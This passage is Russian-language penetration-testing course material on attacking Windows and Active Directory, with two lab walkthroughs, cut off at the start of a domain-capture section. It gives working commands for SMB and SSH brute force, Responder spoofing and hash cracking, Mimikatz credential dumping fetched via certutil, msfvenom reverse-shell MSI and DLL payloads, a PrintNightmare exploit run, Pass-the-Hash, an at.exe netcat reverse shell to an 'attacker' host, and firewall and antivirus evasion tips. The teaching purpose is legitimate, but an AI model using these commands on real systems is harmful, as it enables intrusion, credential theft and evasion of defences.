реализовывать атаки на механизмы аутентификации. Небольшое понимание того, какие учетные данные и пароли использовать для подобных атак в определенном контексте, может сильно облегчить этот способ и сделать его крайне эффективным. Может быть атаковано: - SMB - MSSQL - LDAP - RDP Пример атаки: ``` hydra -L ~/wordlists/user.txt -P ~/wordlists/pass.txt 192.168.1.5 smb -V ``` **Подготовка** Перед тем, как провести атаку методом перебора, необходимо ответить на следующие вопросы: - Можно ли узнать логины для пользователей в домене? - Какие пароли использовать для подбора? - Как не заблокировать пользователей в домене? **Словарь логинов** Словарь логинов из домена можно получить следующими способами: - С этапа разведки; - С внешних систем (почта); - Скомпрометировав какую-либо машину / аккаунт: извлечь адресную книгу почты / получить доступ к LDAP - ​​​​​​​Словарь паролей - Словарь паролей можно подготовить, зная привычки / менталитет сотрудников компании. Самыми популярными паролями будут: Zima2023 , Vfhn2023 (Март2023), Company2023 и пр., т.е.: использование комбинаций года, месяца, имени компании и пр. Словари нужно подбирать в соответствии с контекстом, в котором вы их используете. **Обход блокировки** Для обхода блокировки можно использовать атаку PasswordSpraying: 1 попытку подбора пароля для всех аккаунтов в списке в определенный период времени. Особенность настройки систем Windows в том, что администраторы зачастую настраивают политику количества попыток ввода пароля. Обычно количество попыток в этой политике устанавливается в значение от 3-х до 10-ти раз в течение часа. В случае, если количество попыток превышено, аккаунт пользователя блокируется. **Перехват трафика и MitM-атаки на машины Windows** Особенность в использовании по умолчанию протоколов взаимодействия в локальной сети, через которые можно попытаться скомпрометировать каналы коммуникаций и получить доступ к управлению сеансами или данными в них. Каждый раз, когда машина Windows пытается выполнить разрешение доменного имени, она выполняет следующие действия: - Проверяет файл hosts для получения информации о системе и ее конфигурации - Проверяет локальный кэш DNS - Отправляет запрос к DNS - Отправляет запрос LLMNR - Отправляет запрос NBT-NS - Отправляет запрос MDNS Как раз в момент использования протоколов LLMNR, NBT-NS и MDNS становиться возможным подменить ответ на такой запрос и попытаться завести жертву на свой зловредный ресурс, который сможет: - Направить жертву в сервис аутентификации и украсть хеш пароля аккаунта (а впоследствии — и сам пароль). - Провести атаку Relay (захвата сеанса), выполнения команд от имени жертвы в машине, где она прошла аутентификацию, и пр. **LLMNR / NBT-NS / MDNS Spoofing.** В момент получения запроса LLMNR/NBT-NS можно подделать реальный источник разрешения имен в сети. Он отвечает на трафик так, как будто ему известна личность запрашиваемого узла: отправляет службу, чтобы жертвы общались с контролируемой системой. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/dJKimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/dJKimage.png) Если узел, на который будет перенаправлена жертва, потребует прохождения процесса идентификации / аутентификации, имя пользователя и хэш NTLMv2 будут отправлены в контролируемую систему. Затем сохраняется хэш-информацию с помощью инструментов, отслеживающих трафик, далее взламываются хэши в автономном режиме методом грубой силы. Можно использовать NBNSpoof, Metasploit и Responder. **Responder** [https://github.com/SpiderLabs/Responder](https://github.com/SpiderLabs/Responder) Responder — это инструмент для выполнения атаки MitM в отношении методов аутентификации в Windows. Эта программа использует отправление LLMNR, NBT-NS и MDNS, через которое перенаправляет трафик с запросами и хешами аутентификации на подконтрольный узел. Также в программу встроены серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации, как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию. Для них Responder выполняет роль ретранслятора. Запустим Responder: ``` sudo responder -I eth0 ``` Перехватив NTLMv2 хеш, положим их в файл tickets.txt и попробуем восстановить пароли аккаунтов, отправивших нам хеши: ``` hashcat -a 0 -w 4 -m 5600 tickets.txt /usr/share/wordlists/rockyou.txt ``` После получения пароля воспользуемся утилитой [evil-winrm](https://github.com/Hackplayers/evil-winrm) для получения удобного доступа к терминалу: ``` evil-winrm -i [ip] -u [username] -p [password] ``` **Дополнительно** - [Памятка](https://github.com/frostbits-security/MITM-cheatsheet) по атакам MitM - [Телеграмм канал](https://t.me/castercanal) Магамы Базарова - эксперта по сетевым атакам - [Responder](https://github.com/lgandx/Responder) - [Все об атаках](https://blog.redforce.io/windows-authentication-and-attacks-part-1-ntlm/) на аутентификацию в Windows - [О работе атаки](https://en.hackndo.com/ntlm-relay/) NTLM Relay # Повышение привилегий Горизонтальное перемещение (lateral movement) — процесс продвижения по сети от точки входа к другим объектам. Домен – это основная административная единица в сетевой инфраструктуре предприятия, в которую входят все сетевые объекты. Совокупность (иерархия) доменов называется лесом. У каждой компании могут быть внешние и внутренние домены. Контроллер домена (domain controller) — сервер, управляющий доступом к сетевым ресурсам в рамках одного домена. Контроллер домена осуществляет аутентификацию пользователя в домене. **Этапы повышения привилегий:** - Повышение привилегий на отдельной машине Windows. - Горизонтальное перемещение в сети с Windows машинами. **Основные категории методов повышения привилегий** - Использование физического доступа: например, когда вы получаете прямой доступ на уровне диска и изменяете пароль в файловой системе. - Извлечение секретов и учетных данных. С получением различных прав доступа в Windows становится возможным извлекать секреты и учетные данные из различных хранилищ. - Эксплуатация уязвимостей конфигурации ОС Windows. Невероятно большое количество служб и сервисов в Windows должны быть корректно настроенными или отключенными, чтобы не дать доступа злоумышленнику воспользоваться недостаткам настройки. - Эксплуатация известных уязвимостей ОС Windows. Ежегодно в Windows обнаруживают и устраняют десятки и сотни уязвимостей, благодаря которым эксплуатация становится возможной, если система не обновлена до последней версии. **Извлечение секретов и учетных данных** - Взлом менеджеров паролей пользователей по причине небезопасной конфигурации. - Обнаружение секретов и учетных данных в логах и истории команд. - Извлечение учетных данных из оперативной памяти. - Доступ к файлу, хранящему хеши пользовательских паролей. - Извлечение учетных данных из конфигурации Групповых Политик. **Поиск секретов и паролей в ОС** Можно поискать пароли в различных файлах ОС при помощи команд терминальной оболочки, например: ``` cd C:\ & findstr /s /p /i /n /m "password" *.xml *.ini *.txt *.config ``` Более подробно, каждая часть команды выполняет следующие действия: cd C:\\ — переходит в корневую папку диска C: findstr — команда для поиска строк в файлах /s — выполняет поиск строк во всех подпапках /p — пропускает файлы с непечатными символами /i — игнорирует регистр символов при поиске строк /n — выводит номер строки, содержащей строку /m — выводит только имя файла, если файл содержит совпадение Для повышения привилегий в ОС также существуют скрипты-энумераторы, которые отлично справляются с поиском и извлечением паролей самостоятельно. Для ОС Windows это скрипт [WinPeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS): **Извлечение учетных данных из оперативной памяти** В Windows для реализации механизма HTTP Digest Authentication для поддержки SSO (Single Sign On) требуют знание вводимого пароля, а не только его хеша. Поэтому разработчики Windows решили хранить пароли пользователей в открытом виде. Для извлечения паролей и хешей из оперативной памяти можно использовать инструмент Mimikatz. Mimikatz Mimikatz — инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлекать учетные данные пользователей Windows. Дополнительную информацию по данному инструменту можно получить по следующим ссылкам: - Что такое Mimikatz: руководство для начинающих — [https://habr.com/ru/company/varonis/blog/539340/](https://habr.com/ru/company/varonis/blog/539340/) - Справка по mimikatz — [https://kali.tools/?p=5342](https://kali.tools/?p=5342) Применение Mimikatz Для загрузки инструмента mimikatz необходимо перейти в папку с правами на запись, например в C:\\Windows\\System32\\spool\\drivers\\color. Далее следует загрузить mimikatz на целевую машину. Это можно сделать утилитой, позволяющей скачивать файл по сети certutil: certutil -urlcache -split -f http://10.10.14.16/mimikatz.exe m.exe После запуска Mimi нужно указать следующую команду, которая предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege): privilege::debug Следующая команда вернет список всех хранящихся на этой машине хешей и паролей в виде незашифрованного текста:sekurlsa::logonPasswords Условия для Mimikatz. Необходимы права SeDebugPrivilege, которые, как правило, есть у Администратора и нечасто встречаются у пользователя. Тем не менее, процедура извлечения учётных данных из памяти необходима в рамках проведения работ по пентесту для возможности как вертикального, так и горизонтального перемещения. **Эксплуатация уязвимостей конфигурации ОС Windows** - Повышение привилегий через права на создание резервных копий (SeBackupPrivilege) - Повышение привилегий через перехват сервиса (Weak Services Permission) - Повышение привилегий через имперсонификацию (выдачу себя за другого) SeImpersonatePrivilege (JyicyPotato) - Повышение привилегий через права на установку ПО (AlwaysInstallElevated) - Повышение привилегий через изменение пути бинарного файла сервиса (Service Binary Path) - Повышение привилегий через подмену DLL библиотек (DLL Hijacking) - Повышение привилегий через неэкранированные пути сервисов (Unquoted Service Paths) **Повышение привилегий через права на установку ПО (AlwaysInstallElevated):** Такая конфигурация позволяет нам воспользоваться случаем и повысить привилегии до прав системы. В ряде случаев администраторы не ограничивают пользователей в самостоятельной установке ПО. Настройка производится через изменение ключей реестра (HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated и HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated) и указывает системе разрешать пользователю установку файлов \*.msi, а установка, в свою очередь, производится с повышенными привилегиями (NT AUTHORITY\\SYSTEM). Обнаружение в WinPeas Если WinPeas увидит такую возможность, то отобразит нам ее в следующем виде: [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/SURimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/SURimage.png) Подробная информация: - [AlwaysInstallElevated](https://xakep.ru/2014/12/24/hack-admin-rules/#toc09.) - [System Binary Proxy Execution: Msiexec](https://attack.mitre.org/techniques/T1218/007/) Эксплуатация Генерация файл с полезной нагрузкой в формате msi. Используем "msfvenom" из MSF для создания исполняемого файла "rev.msi", который содержит обратную оболочку для Windows x64 и связывается с IP-адресом 10.10.14.16 на порту 443. ``` msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f msi -o rev.msi ``` Подробнее: \--platform windows — указывает, что будет использоваться платформа Windows -a x64 — указывает, что будет использоваться архитектура x64 -p windows/x64/shell\_reverse\_tcp — выбирает тип обратной оболочки, которая будет использоваться в исполняемом файле LHOST=10.10.14.16 — задает IP-адрес, на который будет устанавливаться обратная связь LPORT=443 — задает порт, на который будет устанавливаться обратная связь -f msi — указывает формат файла, который будет создан (в данном случае это MSI-файл Windows Installer) -o rev.msi — задает имя и путь для выходного файла Запуск “установщика” в режиме "тихой" установки ``` msiexec /quiet /qn /i rev.msi ``` /quiet — указывает на режим тихой установки, в котором пользователю не будут выводиться диалоговые окна и сообщения /qn — указывает на то, что будет использоваться минимальный уровень отображения информации о ходе установки /i — указывает, что будет произведена установка MSI-пакета rev.msi — имя MSI-файла, который будет устанавливаться **Эксплуатация известных уязвимостей ОС Windows** - Уязвимость в установщике Windows (InstallerFileTakeOver (0day) - Уязвимость в Windows Print Spooler (PrintNightmare) - Уязвимость в планировщике задач Windows (MS10-092) - Уязвимость в ядре Windows (MS16\_014) - Обработка вторичного входа в систему (MS16-032) Для поиска известных уязвимостей в Windows для вашей версии ОС можно использовать как скрипты энумерации, так и ресурсы, агрегирующие в себе подобную информацию ([пример](https://msrc.microsoft.com/update-guide/vulnerability)). **Уязвимость в Windows Print Spooler (PrintNightmare)** Эта проблема до сих пор актуальна и может встречаться в современных сетях компаний. Служба Windows Print Spooler — это универсальный интерфейс между ОС, приложениями и локальными или сетевыми принтерами. Она позволяет разработчикам приложений отправлять задания на печать. PrintNightmare — это критическая уязвимость системы безопасности, затрагивающая операционную систему Microsoft Windows. Есть два варианта ее эксплуатации: один разрешает удаленное выполнение кода, а другой ведет к повышению привилегий. Рассмотрим повышение привилегий. Поиск уязвимости Для поиска уязвимости обратимся к списку процессов. В списке процессов должна быть служба печати — spoolsv: [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/OrRimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/OrRimage.png) Проверяем доступ к сервису по TCP порту. Использовать утилиту обращения к RPC сервисам Windows: rpcdump.py ``` rpcdump.py @10.10.10.175 | egrep 'MS-RPRN|MS-PAR' ``` [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/394image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/394image.png) Эта команда выполняет две операции: rpcdump.py @10.10.10.175 — запускает утилиту rpcdump.py, которая использует протокол RPC (Remote Procedure Call) для получения информации о доступных удаленных процедурах на хосте с IP-адресом 10.10.10.175. egrep 'MS-RPRN|MS-PAR' — фильтрует вывод утилиты rpcdump.py с помощью утилиты egrep, чтобы отобразить только строки, содержащие "MS-RPRN" или "MS-PAR". Это позволяет отфильтровать информацию, связанную с протоколами Microsoft Remote Printing (MS-RPRN) и Microsoft Parallel Remote (MS-PAR), которые могут быть использованы для удаленного доступа к принтерам и портам ввода-вывода соответственно. Как работает уязвимость Проблемы в службе печати Windows, приводящие к выполнению произвольного кода, не являются редким явлением. Наиболее известная уязвимость в Windows, Print Spooler, используется в атаке Stuxnet: клиент использует вызов RPC для добавления драйвера на сервер, сохраняя его в локальном или удаленном каталоге SMB. Драйвер может содержать произвольный код, который будет выполняться на сервере с правами SYSTEM. Команду может выполнить любой пользователь, прошедший аутентификацию в службе диспетчера очереди печати. При наличии учетных данных пользователя появляется возможность выполнить любую DLL от имени SYSTEM. Эксплуатация уязвимости Для эксплуатации уязвимости подготовим DLL, которая будет загружена и исполнена, и воспользоваться эксплойтом уязвимости. DLL с “обратной оболочкой” можно создать при помощи msfvenom следующей командой: ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=1337 -f dll -o /tmp/print.dll ``` Для его использования в последствии необходимо либо выложить DLL на файловый сервер, который будет доступен машине жертвы, либо загрузить его на машину жертвы. Для эксплуатации уязвимости можно выбрать публичный эксплойт и выполнить его командой: ``` python3 ./CVE-2021-1675.py example.local/Alex:HappyHacking@192.168.0.134 '\\192.168.0.177\share\print.dll' ``` Таким образом, могут быть получены права SYSTEM через уязвимость в Windows — Print Spooler. Критичность данной уязвимости повышается ещё и благодаря тому, что служба Windows Print Spooler включена в Windows по умолчанию, что потенциально расширяет применимость данного вектора. **Горизонтальное (“боковое”) перемещение** Это одновременное сочетание 2 техник: - Извлечение секретной информации после получения доступа. - Аутентифицированное удаленное выполнения кода. Цикличное повторение позволяет от одного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры. **Локальные учетные записи и NT(LM)-хеши** Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \\windows\\system32\\config наряду с другими кустами. Даже администратор (за исключением system) не может получить доступ к HKLM\\sam с помощью regedit.exe или напрямую, скопировав файл из системной директории. Однако команда reg.exe позволяет это сделать. На практике мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги. Место хранения хешей паролей. Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В Vista и выше LM-хэш не хранится. Для начала посмотрим, где искать эти хэши, а потом разберемся, что из себя они представляют. Пароли пользователей, а также много другой полезной информации хранится в реестре по адресу HKLM\\SAM\\SAM\\Domains\\Account\\users\\\[RID\]\\V, известном как V-блок. Раздел SAM находится в соответствующем файле С:\\Windows\\System32\\config\\SAM. В Windows 2000 и выше оба полученных хэша дополнительно шифруются алгоритмом RC4 с помощью ключа, известного как «системный ключ», или bootkey, сгенерированного утилитой syskey, и шифруются довольно хитрым образом. Получить из реестра хэши можно с правами локального админа, например, используя уже знакомый нам meterpreter и его команду hashdump. В результате получаем хеши в формате Username:RID:LM-hash:NTLM-hash:::. В новых системах (начиная с Windows 7/2008R2) LM-хеш может быть пустым, то есть иметь значение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши больше не используются по соображениям безопасности. Пустой пароль NTLM-хеша, в свою очередь, — это 31d6cfe0d16ae931b73c59d7e0c089c0. Во время бокового перемещения, когда хешей очень много, такие хеши надо обнаруживать сразу и отбрасывать, так как ограничение пустого пароля не позволит выполнить удаленный вход. Пример извлеченного хеша: admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: И LM-, и NTLM-хеши могут быть также найдены и для доменных пользователей при анализе памяти lsass.exe или в базе ntds.dit. Они никогда не передаются по сети как есть, вместо этого они транслируются в виде NetNTLM/NetNTLMv2-хешей, которые непригодны для атаки Pass-the-Hash. \* Данные типы хешей одноразовые и могут быть использованы только в момент передачи (техника NTLM-relay). **Pass the Hash** Pass the Hash (PtH) — это метод аутентификации пользователя без доступа к его паролю в открытом виде. Метод заключается в обходе стандартных этапов аутентификации, на которых требуется ввод пароля, и переходе непосредственно к той части аутентификации, которая использует хэш пароля. Все извлеченные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут использоваться для аутентификации на следующих типах сервисов: - MSRPC (SMB) - DCERPC (WMI) - WINRM - MS SQL - RDP (только Windows 2012 R2 и Windows 8.1) - LDAP - IMAP - HTTP Но выполнять код мы можем, как правило, только на первых пяти сервисах из списка, для последних трех более применимы атаки NTLM-relay. Для осуществления атаки Pass the Hash в Windows 7 и выше с установленным обновлением KB2871997 требуются действительные учетные данные пользователя домена или хэши администратора (RID 500). ``` psexec.py -hashes > aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc example.local/Administrator@10.129.177.234 whoami ``` Psexec.py — один из скриптов из набора скриптов Impacket, отвечающий за выполнение команды в Windows системах в соответствии с тем как работает утилита psexec. Impacket — это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на предоставление низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) — к самой реализации протокола. Пакеты могут быть созданы с нуля, а также разобраны из необработанных данных, а объектно-ориентированный API упрощает работу с глубокими иерархиями протоколов. Библиотека предоставляет набор инструментов в качестве примеров того, что может быть сделано в контексте этой библиотеки. **Выполнение кода на узле с учетной записью** Удаленное исполнение кода на узле может выполняться различными способами. Рассмотрим несколько утилит, которые позволят нам удобно работать с выполнением кода на удаленных машинах в будущем. Psexec.exe Происхождение: sysinternals Риск детектирования антивирусом: отсутствует Используемые порты: 135, 445, 4915x/TCP Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (445/TCP) с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (135,4915x/TCP). Psexec работает следующим образом: - Подключается к общей сетевой папке и производит запись сервиса - Создает сервис через удаленный sc.exe - Стартует с удаленного сервиса - Psexec останавливает сервис - Удаляет сервис - Удаляет бинарный файл После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой: ``` psexec.exe -u admin \\target cmd ``` Серверный компонент psexecsvc.exe подписан сертификатом Sysinternals и, следовательно, это стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe относится способность выполнять код в указанных пользовательских сеансах: ``` psexec.exe -u admin -i 2 \\target shutdown /l ``` Impacket Impacket — это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на обеспечение низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) — на саму реализацию протокола. Пакеты могут быть созданы с нуля, а также проанализированы на основе необработанных данных, а объектно-ориентированный API упрощает работу с глубокими иерархиями протоколов. Библиотека предоставляет набор инструментов в качестве примеров того, что можно сделать в контексте этой библиотеки. Psexec.py Происхождение: Python-пакет impacket Риск детектирования антивирусом: есть Используемые порты: 445/TCP Отличная альтернатива для пользователей Linux, однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост. Это можно исправить, указав в реализации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования. Чтобы psexec.py не скопировал заметный антивирусу компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку уже вручную прописали команду - этим файлом может быть что угодно: ``` psexec.py -file somefile.txt admin@target ``` Таким образом, мы напрямую выполнили команду, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec лишает нас того удобства использования, которое было изначально. Atexec.py / at.exe Происхождение: Python-пакет impacket / встроенный компонент Windows Риск детектирования антивирусом: отсутствует Используемые порты: 445/TCP Служба планировщика заданий Windows, доступная через smb-пайп atsvc. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент. \# DCE/RPC — удаленный планировщик, работает на Windows Vista и выше. В обоих случаях это не интерактивное средство удаленного исполнения кода. При использовании at.exe происходит слепое исполнение команд: at.exe \\\\target 13:37 "cmd /c copy \\\\attacker\\a\\nc.exe && nc -e \\windows\\system32\\cmd.exe attacker 8888" А вот для atexec.py команда выполнится с результатом: atexec.py admin@target ipconfig Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$. Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время — с точностью до минуты. **Дополнительная информация** Рекомендуемые ресурсы - Безопасность аутентификации [в Windows и AD](https://www.youtube.com/watch?v=_Yuu4RaMWDY&t=7979s) - [Hacktrics](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) - [Стандарт](http://www.pentest-standard.org/index.php/Main_Page%C2%A0) по тестированию на проникновение PTES Active Directory: - Чеклист по тестированию защищенности Active Directory - [Эксплуатация](https://github.com/VoidSec/CVE-2020-1472) Zerologon - [Эксплуатация](https://posts.specterops.io/certified-pre-owned-d95910965cd2) уязвимостей в AD CS - [Microsoft Windows Technical Documents](https://docs.microsoft.com/en-us/openspecs/windows_protocols/MS-WINPROTLP/e36c976a-6263-42a8-b119-7a3cc41ddd2a) - [Active Directory Security](https://adsecurity.org/) - [https://blog.harmj0y.net/](https://blog.harmj0y.net/) - [hackndo](https://en.hackndo.com/) - [https://dirkjanm.io/](https://dirkjanm.io/) - [Steve on Security](https://syfuhs.net/) - [Lab of a Penetration Tester](https://www.labofapenetrationtester.com/) - [ired.team](https://www.ired.team/) Помимо блогов, предлагаем вам подборку отличных инструментов, ориентированных на Active Directory, которые не только полезны, но и могут позволить вам изучить множество механизмов и протоколов Active Directory. - [mimikatz](https://github.com/gentilkiwi/mimikatz): вероятно, самый известный инструмент для атаки на Windows и Active Directory. Он реализует на C [все виды атак](https://github.com/gentilkiwi/mimikatz/wiki) для получения учетных данных с компьютеров Windows и выдачи себя за пользователей в Active Directory. - [impacket](https://github.com/SecureAuthCorp/impacket): Impacket реализует многие из протоколов на python. Он также включает в себя множество примеров, реализующих атаки. - [responder.py](https://github.com/lgandx/Responder): Responder позволяет вам выполнять множество PitM-атак, злоупотребляя протоколами разрешения Windows и, предоставляя вам множество серверов протоколов, которые будут собирать NTLM-хэши. - [Rubeus](https://github.com/GhostPack/Rubeus): Rubeus – это пакет C# для выполнения атак Kerberos с компьютеров под управлением Windows. - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec): CME – это инструмент на python, который позволяет вам простым способом выполнять множество различных атак. - [BloodHound](https://github.com/BloodHoundAD/BloodHound): BloodHound позволяет вам сопоставлять сеть Active Directory с множеством различных запросов LDAP и другими. - [Powerview](https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1): инструмент Powershell, который реализует множество LDAP-запросов Active Directory и других протоколов для извлечения [всех видов информации](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) из Active Directory. - [Empire](https://github.com/BC-SECURITY/Empire): набор для развертывания агентов на компьютерах Active Directory, который позволяет выполнять [все виды атак](https://bc-security.gitbook.io/empire-wiki/). Содержит множество инструментов для разведки и атак через Active Directory. **Обход блокировки открытия портов на Windows машинах.** (некоторые версии) Стандартный фаер блокирует приложения, которые пытаются открыть прослушивание входящих соединений. Имея системный доступ, нужно перед запуском приложения определить, включен или нет фаер, чтобы не было лишних сообщений. Netsh - виндовое приложение для консольного управления фаером. ``` Netsh firewall show opmode Конфигурация профиля Domain (текущая): ------------------------------------------------------------------- Рабочий режим = Enable Режим исключения = Enable Конфигурация профиля Обычный:... ``` Если режим исключений (Exception mode) включен, то можно продолжать процедуру. Включение режима поддержки исключений: ``` Netsh firewall set opmode mode = enable exceptions = enable profile = all ``` Добавляем исключение ``` netsh firewall add portopening TCP 1234 “Windows Firewall Reporting Agent” enable all ``` Проверка правил после добавления ``` netsh firewall show port opening ``` **Обход блокировки антивирусом (некоторые приложения)** В случае netcat для создания бэкдора желательно изменить netcat. Существует два пути изменения бинарника: корректировка исходника с последующей компиляцией и поиск в дебаггере сигнатуры и корректировка сигнатуры. # Практика первичного доступа Архив [Windows7.v2.7z](https://stepik-files.cyber-ed.space/WhiteHat/Windows7.v2.7z) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/9alOwiQ2NFmizw) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/v_karmanov_cyber-ed_ru/EeBdtCWETQNPpUNMzaNpuA4BGImgmKz8LcQ4FThTXmz1oQ?e=C5tkwb)), импортировать ВМ двойным нажатием на файл Windows7.vbox Пользователь Alex пароль HappyHacking для инициализации сети ОС. Далее настроить сетевое размещение: - Домашняя сеть - Сеть предприятия - Общественная сеть Нужно выбрать *Общественная сеть*. Найти флаг (секретную строку в формате 26 букв и цифр) из файла root.txt, расположенного в папке рабочего стола пользователя Kevin. # Практика повышения привилегий Архив: [Win10.rar](https://stepik-files.cyber-ed.space/WhiteHat/Win10.rar) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/5t8DvakEysTYKw) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/v_karmanov_cyber-ed_ru/EbQPmfhh8jhJvsp3pTTALwIB2u0uicQik6J_neSrolGREA?e=FyPdDD)). Импортировать ВМ двойным нажатием на файл Win10.vbox. Для инициализации сети необходимо войти в нее под специальным аккаунтом: Логин: helpdesk Пароль: Qwerty123 **Последовательность действий** Есть доступ, задача — поднять привилегии до максимальных и собрать данные. 1\. Просканируем Windows-систему на открытые порты с помощью nmap: ``` $ nmap -Pn -n -F -sV --open 10.8.0.14 ``` 2\. Для первичного доступа попробуем перебрать пароли ssh с помощью patator. Patator позволяет установить соединение с сервером и перебирать пароли, используя словари паролей или списки паролей, которые можно настроить для каждого протокола. Возможно настроить параметры задержки между попытками аутентификации. Проведем перебор SSH-паролей для пользователя john, при этом отфильтруем все сообщения, включающие в себя строку “Authentication failed”. ``` $ patator ssh_login host=10.8.0.14 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.' ``` Путем перебора получаем верный пароль: loveme1 3\. Подключимся к Windows-машине по ssh: ``` $ ssh john@10.8.0.14 john@WIN10> whoami john@WIN10> dir ``` 4\. Для автоматического поиска вектора для повышения привилегий используем утилиту WinPEAS: [https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) WinPEAS автоматически определяет наличие открытых портов, установленные программы и службы, запланированные задачи, наличие уязвимых файловых разрешений, настройки UAC (User Account Control) и другие уязвимости привилегий в операционной системе. Использование WinPEAS может значительно упростить процесс поиска уязвимостей привилегий и повысить эффективность и скорость анализа безопасности системы. Скачаем актуальную версию WinPEAS под 64-разрядные ОС на локальную машину: ``` $ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230413-7f846812/winPEASx64.exe ``` 5\. Передадим файл на удаленную машину по SSH с помощью scp и запустим файл: ``` $ scp winPEASx64.exe john@10.8.0.14:C:\\Users\\John\\ john@WIN10> winPEASx64.exe ``` 6\. Рассмотрим вывод утилиты: наибольшее внимание стоит обращать на выделенное красным. Последовательно просматривая возможные вектора, обратим внимание на AlwaysInstallElevated. Это политика, позволяющая устанавливать любые msi-пакеты с повышенными правами. Это значит, что, если мы сгенерируем полезную нагрузку в этом формате, то при её запуске она будет работать от имени NT AUTHORITY\\SYSTEM, что дает нам полные привилегии на этой машине. 7\. Сгенерируем полезную нагрузку в формате msi с помощью msfvenom, полезной нагрузкой будет обратное shell-соединение на нашу машину: ``` $ msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.8.0.28 LPORT=4444 -f msi -o tmp/rev.msi ``` 8\. Отправим полезную нагрузку на удаленную машину с помощью SCP: ``` $ scp tmp/rev.msi john@10.8.0.14:C:\\Users\\John\\ ``` 9\. Подготовим хэндлер для получения shell-соединения с помощью msf. Используем метаэксплойт exploit/multi/handler, для принятия соединений от полезных нагрузок в случае, если их запуск идет независимо от применения RCE-эксплойтов самого msf. Укажем выбранный payload и адрес, на котором он будет ожидать подключения: ``` $ msfconsole msf6> use exploit/multi/handler msf6> options msf6> set PAYLOAD windows/x64/shell_reverse_tcp msf6> set LHOST 10.8.0.28 msf6> exploit ``` 10\. Проверим, что удаленная система доступна по RDP: ``` $ nmap -Pn -n -p 3389 -sV --open 10.8.0.14 ``` 11\. Подключимся к удаленной системе по RDP, используя xfreerdp – свободный RDP-клиент с консольным интерфейсом, укажем пользователя, пароль, хост и удобную нам ширину экрана: ``` $ xfreerdp /u:john /p:loveme1 /w:768 /v:10.8.0.14 ``` 12\. Запускаем инсталлятор. Однако простым запуском не получается, нужно через консоль ``` msiexec /quiet /qn /i C:/one.msi ``` 13\. После получения соединения в msf выполним базовую разведку и убедимся, что обладаем максимальными правами, после чего прочтем флаг: ``` > whoami > cd C:\Users\michael\Desktop > type root.txt ``` # Захват домена # Общая информация Каталог (Directory, хранилище данных) — в контексте компьютерной сети, иерархическая структура, хранящая информацию об объектах в сети. Объекты - это серверы, общие тома и принтеры, учетные записи пользователей, рабочие станции, домены, приложения, службы, политики безопасности и почти все остальное в вашей сети. Служба каталогов (Directory Service) — является как источником информации каталога, так и службой, делающей информацию доступной и полезной для администраторов, пользователей, сетевых служб и приложений. Active Directory™, служба каталогов, которая хранит информацию о сетевых объектах, а также реализует службы, которые делают эту информацию доступной и полезной для пользователей, компьютеров и приложений. Объекты (Objects) — это сущности, составляющие 